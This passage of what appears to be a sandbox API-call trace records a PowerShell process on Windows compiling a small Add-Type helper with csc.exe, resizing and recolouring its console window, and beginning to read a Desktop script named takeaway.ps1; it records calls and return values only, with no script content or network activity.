hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e7e8 | out: phkResult=0x843e7e8*=0x88c) returned 0x0 [0090.704] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e808, lpData=0x0, lpcbData=0x843e804*=0x0 | out: lpType=0x843e808*=0x1, lpData=0x0, lpcbData=0x843e804*=0x56) returned 0x0 [0090.704] RegQueryValueExW (in: hKey=0x88c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843e808, lpData=0x543bae8, lpcbData=0x843e804*=0x56 | out: lpType=0x843e808*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843e804*=0x56) returned 0x0 [0090.704] RegCloseKey (hKey=0x88c) returned 0x0 [0090.710] CoTaskMemAlloc (cb=0x20c) returned 0x7648928 [0090.710] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x7648928 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0090.711] CoTaskMemFree (pv=0x7648928) [0090.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0090.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0091.011] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e92c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e92c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0091.012] SetEvent (hEvent=0x87c) returned 1 [0091.012] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x843eb3c*=0x87c, lpdwindex=0x843e95c | out: lpdwindex=0x843e95c) returned 0x0 [0091.017] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x843ead0, nSize=0xc3 | out: lpBuffer="ࡃ狘ࡃࡃࡃңȀ滻ࡃᆪ狘䷜漳̤") returned 0x0 [0091.020] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0091.020] GetFileType (hFile=0x94) returned 0x2 [0091.020] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x843ec70 | out: lpMode=0x843ec70) returned 1 [0091.068] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843ec30 | out: lpConsoleScreenBufferInfo=0x843ec30) returned 1 [0091.114] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843ec30 | out: lpConsoleScreenBufferInfo=0x843ec30) returned 1 [0091.188] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0091.188] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0091.329] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eefc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eefc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x13, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0091.329] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee68*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee68*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0091.329] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x13, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x13, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0091.571] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x76194f0 [0092.127] GetCurrentProcess () returned 0xffffffff [0092.127] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843ebbc | out: TokenHandle=0x843ebbc*=0x88c) returned 1 [0092.129] CoTaskMemAlloc (cb=0x20c) returned 0x7620880 [0092.129] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x7620880 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0092.129] CoTaskMemFree (pv=0x7620880) [0092.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0092.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0092.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0092.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55", lpFilePart=0x0) returned 0x2b [0092.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0092.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55", lpFilePart=0x0) returned 0x2b [0092.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0092.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.tmp", nBufferLength=0x30, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.tmp", lpFilePart=0x0) returned 0x2f [0092.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843eb10) returned 1 [0092.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0092.130] GetFileType (hFile=0x8a0) returned 0x1 [0092.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843eb0c) returned 1 [0092.131] GetFileType (hFile=0x8a0) returned 0x1 [0092.131] CloseHandle (hObject=0x8a0) returned 1 [0092.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.0.cs", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0092.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.0.cs", nBufferLength=0x31, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.0.cs", lpFilePart=0x0) returned 0x30 [0092.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843eb60) returned 1 [0092.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.0.cs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.0.cs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0092.131] GetFileType (hFile=0x8a0) returned 0x1 [0092.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843eb5c) returned 1 [0092.131] GetFileType (hFile=0x8a0) returned 0x1 [0092.132] WriteFile (in: hFile=0x8a0, lpBuffer=0x5461c14*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x843ebbc, lpOverlapped=0x0 | out: lpBuffer=0x5461c14*, lpNumberOfBytesWritten=0x843ebbc*=0x134, lpOverlapped=0x0) returned 1 [0092.133] CloseHandle (hObject=0x8a0) returned 1 [0092.136] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0092.136] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll", nBufferLength=0x30, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll", lpFilePart=0x0) returned 0x2f [0092.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843eb14) returned 1 [0092.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0092.136] GetFileType (hFile=0x8a0) returned 0x1 [0092.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843eb10) returned 1 [0092.136] GetFileType (hFile=0x8a0) returned 0x1 [0092.136] CloseHandle (hObject=0x8a0) returned 1 [0092.143] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.cmdline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0092.143] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.cmdline", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.cmdline", lpFilePart=0x0) returned 0x33 [0092.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843eadc) returned 1 [0092.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.cmdline" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.cmdline"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0092.184] GetFileType (hFile=0x8a0) returned 0x1 [0092.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ead8) returned 1 [0092.184] GetFileType (hFile=0x8a0) returned 0x1 [0092.184] WriteFile (in: hFile=0x8a0, lpBuffer=0x5465470*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x843eb38, lpOverlapped=0x0 | out: lpBuffer=0x5465470*, lpNumberOfBytesWritten=0x843eb38*=0x161, lpOverlapped=0x0) returned 1 [0092.185] CloseHandle (hObject=0x8a0) returned 1 [0092.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0092.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x2f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0092.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0092.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe", nBufferLength=0x36, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe", lpFilePart=0x0) returned 0x35 [0092.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843eb00) returned 1 [0092.187] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\csc.exe"), fInfoLevelId=0x0, lpFileInformation=0x843eb7c | out: lpFileInformation=0x843eb7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be92300, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9be92300, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9be92300, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x211e90)) returned 1 [0092.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843eafc) returned 1 [0092.188] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0092.188] GetCurrentProcess () returned 0xffffffff [0092.188] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843eaf0 | out: TokenHandle=0x843eaf0*=0x8a0) returned 1 [0092.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.out", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0092.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.out", nBufferLength=0x30, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.out", lpFilePart=0x0) returned 0x2f [0092.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e988) returned 1 [0092.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.out" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.out"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x5466f9c, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x890 [0092.190] GetFileType (hFile=0x890) returned 0x1 [0092.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e984) returned 1 [0092.190] GetFileType (hFile=0x890) returned 0x1 [0092.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.err", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0092.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.err", nBufferLength=0x30, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.err", lpFilePart=0x0) returned 0x2f [0092.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e988) returned 1 [0092.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.err" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.err"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x5467050, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x884 [0092.191] GetFileType (hFile=0x884) returned 0x1 [0092.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e984) returned 1 [0092.191] GetFileType (hFile=0x884) returned 0x1 [0092.191] WriteFile (in: hFile=0x890, lpBuffer=0x5468890*, nNumberOfBytesToWrite=0x1b8, lpNumberOfBytesWritten=0x843e9f0, lpOverlapped=0x0 | out: lpBuffer=0x5468890*, lpNumberOfBytesWritten=0x843e9f0*=0x1b8, lpOverlapped=0x0) returned 1 [0092.192] GetEnvironmentStringsW () returned 0x762f8f0* [0092.193] FreeEnvironmentStringsW (penv=0x762f8f0) returned 1 [0092.197] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.cmdline\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x546ecb0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x843e880*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x8c, hStdOutput=0x890, hStdError=0x884), lpProcessInformation=0x5467078 | out: lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.cmdline\"", lpProcessInformation=0x5467078*(hProcess=0x8a8, hThread=0x85c, dwProcessId=0xf68, dwThreadId=0xf6c)) returned 1 [0092.600] CloseHandle (hObject=0x890) returned 1 [0092.601] CloseHandle (hObject=0x884) returned 1 [0092.601] GetCurrentProcess () returned 0xffffffff [0092.601] GetCurrentProcess () returned 0xffffffff [0092.601] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x8a8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x843ea24, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x843ea24*=0x884) returned 1 [0092.602] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x843ea1c*=0x884, lpdwindex=0x843e83c | out: lpdwindex=0x843e83c) returned 0x0 [0095.390] CloseHandle (hObject=0x884) returned 1 [0095.390] GetExitCodeProcess (in: hProcess=0x8a8, lpExitCode=0x843eb2c | out: lpExitCode=0x843eb2c*=0x0) returned 1 [0095.390] CloseHandle (hObject=0x8a8) returned 1 [0095.390] CloseHandle (hObject=0x85c) returned 1 [0095.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0095.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll", nBufferLength=0x30, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll", lpFilePart=0x0) returned 0x2f [0095.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843eac4) returned 1 [0095.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0095.391] GetFileType (hFile=0x85c) returned 0x1 [0095.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843eac0) returned 1 [0095.391] GetFileType (hFile=0x85c) returned 0x1 [0095.391] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x843ebc0 | out: lpFileSizeHigh=0x843ebc0*=0x0) returned 0xc00 [0095.391] ReadFile (in: hFile=0x85c, lpBuffer=0x547529c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843eb6c, lpOverlapped=0x0 | out: lpBuffer=0x547529c*, lpNumberOfBytesRead=0x843eb6c*=0xc00, lpOverlapped=0x0) returned 1 [0095.392] CloseHandle (hObject=0x85c) returned 1 [0095.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.pdb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0095.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.pdb", nBufferLength=0x30, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.pdb", lpFilePart=0x0) returned 0x2f [0095.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843eb38) returned 1 [0095.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4izn5b55.pdb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4izn5b55.pdb"), fInfoLevelId=0x0, lpFileInformation=0x843ebb4 | out: lpFileInformation=0x843ebb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843eb34) returned 1 [0095.409] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee8c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee8c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x13, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0095.414] ReportEventW (hEventLog=0x7970004, wType=0x4, wCategory=0x8, dwEventID=0x320, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x547a510*="Add-Type -Name Window -Namespace Console -MemberDefinition '\r\n", lpRawData=0x547a438) returned 1 [0095.609] EtwEventWriteTransfer (RegHandle=0x3228ae8, EventDescriptor=0x68, ActivityId=0x843edd8, RelatedActivityId=0x843ed88, UserDataCount=0x0, UserData=0x3) returned 0x0 [0095.722] GetConsoleWindow () returned 0x8014c [0095.767] MoveWindow (hWnd=0x8014c, X=0, Y=0, nWidth=460, nHeight=260, bRepaint=1) returned 1 [0095.839] CoTaskMemFree (pv=0x7459318) [0095.846] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eefc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eefc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x21, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0095.847] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee68*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee68*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x13, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0095.847] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x21, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x21, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0095.851] CoTaskMemFree (pv=0x7459318) [0095.893] CoTaskMemFree (pv=0x7459318) [0095.896] AmsiScanString () returned 0x80070015 [0095.965] SetConsoleCursorPosition (hConsoleOutput=0x44c, dwCursorPosition=0x0) returned 1 [0096.025] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e840 | out: lpConsoleScreenBufferInfo=0x843e840) returned 1 [0096.133] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e840 | out: lpConsoleScreenBufferInfo=0x843e840) returned 1 [0096.210] FillConsoleOutputCharacterW (in: hConsoleOutput=0x44c, cCharacter=0x20, nLength=0x1ec30, dwWriteCoord=0x0, lpNumberOfCharsWritten=0x843e764 | out: lpNumberOfCharsWritten=0x843e764) returned 1 [0096.227] FillConsoleOutputAttribute (in: hConsoleOutput=0x44c, wAttribute=0xaf, nLength=0x1ec30, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x843e764 | out: lpNumberOfAttrsWritten=0x843e764) returned 1 [0096.238] CoTaskMemFree (pv=0x7459318) [0096.280] QueryPerformanceCounter (in: lpPerformanceCount=0x843e7b0 | out: lpPerformanceCount=0x843e7b0*=77841165101) returned 1 [0096.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0096.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0096.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6e4) returned 1 [0096.280] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: 